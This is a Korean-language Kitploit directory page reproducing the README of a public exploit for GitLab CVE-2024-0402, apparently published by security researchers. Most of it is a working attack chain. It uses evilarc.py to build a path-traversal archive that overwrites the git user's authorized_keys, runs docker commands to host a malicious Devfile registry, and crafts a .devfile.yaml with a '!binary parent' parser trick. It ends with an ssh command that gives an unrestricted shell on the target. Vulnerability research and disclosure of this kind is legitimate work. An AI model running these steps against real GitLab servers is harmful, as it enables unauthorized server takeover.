Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
malicious-devfile-registry — Gitlab의 CVE-2024-0402 익스플로잇 | Kitploit
도구/GitHubGitHub/doyensec/malicious-devfile-registry
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingSupply Chain SecurityRed Teaming
GitHubdoyensec/malicious-devfile-registry

malicious-devfile-registry

Gitlab의 CVE-2024-0402 익스플로잇

저장소 보기
1551년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

악성 Devfile 레지스트리

이 프로젝트는 GitLab에서 CVE-2024-0402를 악용하는 데 사용할 수 있는 악성 Devfile 레지스트리를 포함합니다.

익스플로잇

경로 탐색 문제를 악용하는 archive.tar 파일을 노출하도록 nodejs:2.2.1 스택이 인덱싱되었습니다. (registry-support library before v1.1.0)

tar 위치: malicious-devfile-registry/stacks/nodejs/2.2.1/archive.tar

이 파일은 evilarc.py를 사용하여 생성되었으며, 이 저장소의 ssh-keys/ 폴더에 있는 SSH 키로 대상 GitLab 서버의 /var/opt/gitlab/.ssh/authorized_keys를 덮어씁니다.

root@kitploit:~
python3 evilarc.py authorized_keys -f authzkeys.tar.gz -p var/opt/gitlab/.ssh/ -o unix

실행되면 레지스트리는 가져올 수 있는 스택에 악성 .tar를 추가합니다. 스택 리소스 중에서 index.json에 나열된 내용을 참조하세요:

root@kitploit:~
...
"links": {
          "self": "devfile-catalog/nodejs:2.2.1"
        },
        ...
        "resources": [
          "devfile.yaml",
          "archive.tar"
        ],
...

재현 단계

버전 <=16.8.0인 GitLab 인스턴스 EE를 구성하세요. 문서와 !exploitable 시리즈 블로그 게시물의 추가 참고 사항에 따라 Workspaces를 활성화하세요.

준비가 되면 아래 단계를 따르세요:

  1. 이 저장소의 루트에서 docker build -t devfile-index .를 실행하여 레지스트리 컨테이너 이미지를 빌드합니다.

  2. docker run -d -p 5000:5000 --name local-registrypoc registry:2를 실행하여 Devfile 레지스트리가 스택을 저장하는 데 사용할 로컬 컨테이너 레지스트리를 실행합니다. 참고: 필요에 따라 명령어를 수정하여 노출해야 합니다. 우리의 경우 모든 작업이 로컬 환경에서 이루어졌습니다.

  3. 1단계에서 빌드한 악성 Devfile 레지스트리를 시작하려면 docker run --network host devfile-index를 실행합니다. 참고: 이전과 마찬가지로 GitLab 인스턴스에서 접근할 수 있도록 실행 명령을 원하는 대로 수정하세요.

  4. 대상 GitLab 서버에 개발자로 인증한 다음, 제어하는 저장소의 .devfile.yaml을 편집합니다. YAML은 악성 레지스트리에서 가져오기를 허용하기 위해 파서 차이를 악용해야 합니다.

root@kitploit:~
schemaVersion: 2.2.0
!binary parent:
    id: nodejs
    registryUrl: http://<YOUR_MALICIOUS_REGISTRY>:<PORT>
components:
  - name: development-environment
    attributes:
      gl/inject-editor: true
    container:
      image: "registry.gitlab.com/gitlab-org/gitlab-build-images/workspaces/ubuntu-24.04:20250109224147-golang-1.23@sha256:c3d5527641bc0c6f4fbbea4bb36fe225b8e9f1df69f682c927941327312bc676"
  1. GitLab UI에서 파일 쓰기를 트리거하려면 편집된 저장소에서 새 Workspace를 시작하기만 하면 됩니다. 몇 초 후 임의 파일 쓰기가 발생하고 ssh-keys/pockey.pub이 git 사용자의 authorized_keys에 추가됩니다.

  2. 다음 명령어로 git 사용자로서 제한 없는 셸을 사용할 수 있습니다.

root@kitploit:~
ssh  -i ssh-keys/pockey git@<YOUR_GITLAB_SERVER>
도구 다운로드